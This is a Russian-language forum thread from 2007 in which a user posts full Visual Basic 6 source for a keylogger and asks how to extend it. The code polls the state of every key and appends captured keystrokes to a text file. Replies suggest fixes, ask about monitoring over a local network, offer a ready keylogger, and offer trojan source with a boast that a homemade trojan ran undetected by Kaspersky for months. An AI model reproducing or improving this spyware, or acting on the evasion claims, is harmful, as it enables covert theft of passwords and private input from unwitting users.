Клавиатурный шпион

Electron · 09.09.2007

Знающие люди, помогите, я тут делаю клавиатурный шпион, но получается только с английскими буквами. Как сделать с русскими? И второй вопрос: как сделать, чтобы в test.txt записывались еще и такие символы, как <, >, :, ;, " и т.д. И последний вопрос: у меня не получается сделать клавишу Enter. Пробовал писать vbKeyEnter, но не получается.

Код:

Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
Private Const VK_CAPITAL = &H1

Private Sub Form_Load()

Form1.Visible = True
Text1.Text = "Контроль за системой активирован в: " + Time$ + " " + Date$ + "." + vbNewLine
Timer1.Interval = 1
Text1.MultiLine = True

End Sub

Private Sub Timer1_Timer()
keystate = Getasynckeystate(vbKeyTab)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Tab]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyLeft)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Влево]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyRight)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Вправо]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyUp)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Вверх]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyDown)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Вниз]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyInsert)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Insert]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyDelete)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Delete]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyEnd)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[End]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyHome)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Home]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF1)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F1]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF2)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F2]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF3)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F3]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF4)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F4]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF5)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F5]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF6)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F6]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF7)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F7]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF8)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F8]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF9)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F9]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF10)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F10]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF11)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F11]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF12)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F12]" + vbNewLine
End If
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[NumLock]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[ScrollLock]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyPrint)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[PrintScreen]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[PageUp]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Pagedown]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad1]"
End If
keystate = Getasynckeystate(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad2]"
End If
keystate = Getasynckeystate(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad3]"
End If
keystate = Getasynckeystate(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad4]"
End If
keystate = Getasynckeystate(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad5]"
End If
keystate = Getasynckeystate(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad6]"
End If
keystate = Getasynckeystate(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad7]"
End If
keystate = Getasynckeystate(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad8]"
End If
keystate = Getasynckeystate(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad9]"
End If
keystate = Getasynckeystate(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad0]"
End If
keystate = Getasynckeystate(vbKeyEscape)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Esc]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[NumLock]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyBack)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Backspace]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyPause)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Pause]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyShift)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Shift]"
End If
keystate = Getasynckeystate(vbKeyQ)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "q"
End If
keystate = Getasynckeystate(vbKeyW)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "w"
End If
keystate = Getasynckeystate(vbKeyE)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "e"
End If
keystate = Getasynckeystate(vbKeyR)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "r"
End If
keystate = Getasynckeystate(vbKeyT)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "t"
End If
keystate = Getasynckeystate(vbKeyY)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "y"
End If
keystate = Getasynckeystate(vbKeyU)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "u"
End If
keystate = Getasynckeystate(vbKeyI)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "i"
End If
keystate = Getasynckeystate(vbKeyO)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "o"
End If
keystate = Getasynckeystate(vbKeyP)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "p"
End If
keystate = Getasynckeystate(vbKeyA)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "a"
End If
keystate = Getasynckeystate(vbKeyS)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "s"
End If
keystate = Getasynckeystate(vbKeyD)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "d"
End If
keystate = Getasynckeystate(vbKeyF)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "f"
End If
keystate = Getasynckeystate(vbKeyG)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "g"
End If
keystate = Getasynckeystate(vbKeyH)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "h"
End If
keystate = Getasynckeystate(vbKeyJ)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "j"
End If
keystate = Getasynckeystate(vbKeyK)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "k"
End If
keystate = Getasynckeystate(vbKeyL)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "l"
End If
keystate = Getasynckeystate(vbKeyZ)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "z"
End If
keystate = Getasynckeystate(vbKeyX)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "x"
End If
keystate = Getasynckeystate(vbKeyC)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "c"
End If
keystate = Getasynckeystate(vbKeyV)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "v"
End If
keystate = Getasynckeystate(vbKeyB)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "b"
End If
keystate = Getasynckeystate(vbKeyN)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "n"
End If
keystate = Getasynckeystate(vbKeyM)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "m"
End If


H1 = FreeFile
If Text1.Text = "" Then
Form1.Caption = Form1.Caption
Else
Open App.Path & "\test.txt" For Append As #H1
Print #H1, Text1.Text
Close #H1
End If
Text1.Text = ""
End Sub

P.S. На форме стоит текстбокс Text1 и таймер Timer1.

Kmet · 09.09.2007

ыыы. это же какое терпение надо иметь....

Electron · 09.09.2007

Технология Copy-Paste...

Guest · 04.11.2007

<span class="vbquote">(Kmet @ 9:09:2007, 20:45 )</span>ыыы. это же какое терпение надо иметь....

[snapback]77597" rel="nofollow" target="_blank[/snapback]

[/quote]
зато выглядит красиво)))

Orion · 11.11.2007

Могу пример проги скинуть. FamilyKeyLogger называется. Надо?

Orion · 11.11.2007

Вот и сама программка. Сам тестировал. Круто!

DKbelRoma · 20.11.2007

И что работает?

Да-а-а-а правда...Терпение у тебя есть!

Вопрос: А можно ли зделать так ,что бы контроль производился по локальной сети с использованием этого кода .... ???

Электрон-РУЛИТ! - сори за флуд!

DKbelRoma · 20.11.2007

Кстате насчёт русских букв - если ты знаеш как зделать что-бы программа реагировала на панель языков.Если узнаеш как то можно к каждой анг. букве зделать рус. букву ,как бы ТРАНСЛИТ
пример : к букве Р будет буква H
Незнаю помог или нет!Но такая мысль была!

Orion · 01.12.2007

Кстате насчёт русских букв - если ты знаеш как зделать что-бы программа реагировала на панель языков.Если узнаеш как то можно к каждой анг. букве зделать рус. букву ,как бы ТРАНСЛИТ
пример : к букве Р будет буква H
Незнаю помог или нет!Но такая мысль была!

Я сам сделал программу для транслитеррирования текста. Она делает транслит с Русской на Английскую раскладку и наоборот.

Gamlet · 10.12.2007

А нафиг клав шпион? :blink:

Я тебе могу отличные исходника для трояна подкинуть. Лучше. Сам настроиш:что там тебе выводить-а что-нет.Там вообще то где то был исходник клав шпиона, но битый помоему. Вообще ВБ сложно убрать из деспетчера задач. Я предпочитаю сам деспетчер задач убирать. Короче, если нужно выложу неплохие исходники. А вот за что люблю ВБ-его даже касперыч только проактивкой берет. Не распознает касперский. У меня так самописный троян полгода висел на компьютере включенный, вместе с касперским.
П.С. Это много? Этож чуть чуть. Я одну прогу писал, там бало 40или 50 элементов,при нажатии на однин-некоторые должны быть видны, другие-нет. =все свое положение и размер меняли в зависимости от размерf экрана. Там было около 1000 строк кода в одной форме, 400 из них я написам для вот такой настройки. Вот это много!

DKbelRoma · 29.12.2007

И последний вопрос: у меня не получается сделать клавишу Enter. Пробовал писать vbKeyEnter, но не получается.

Я подумал... Можно зделать через Ascii код. Давно пробывал и нашол статью.
Например у клавиши Enter - Ascii код - 13. У каждой клавиши свой код, таким способом можно и такие символы, как . , !"№;%:%:;*)*%(* и т.д. записать.
Пишешь : (НАПРИМЕР)

Код:

Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Text2.Text + "Enter"
End If

или вот

Код:

Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 47 Then
Text2.Text + ". - ТОЧКА"
End If

и т.д.
(На форме Text1 и Text2 - текстбокс-ы)

Если нужно узнать Ascii Код любой клавиши на клавиатуре, нужно
Создать новый проэкт, на котором разместить один TextBox и назвать его Text1 и вставить этот код!

Код:

Private Sub Text1_KeyPress(KeyAscii As Integer)
MsgBox KeyAscii
End Sub

После этого сгенерировать проэкт в *.exe фаил и наслаждаться

В поле Text1 нажимаешь клавишу и MsgBox показывает тебе Ascii Код. Оказывается всё так просто

Спасибо за внимание. :blink:

Vedrus · 30.12.2007

Топикстартер! Вы извращенец

Все сервисы Codeby

Поиск

Поиск

Клавиатурный шпион

Electron

Kmet

Well-known member

Electron

Guest

Orion

Orion

Вложения

DKbelRoma

DKbelRoma

Orion

Gamlet

DKbelRoma

Vedrus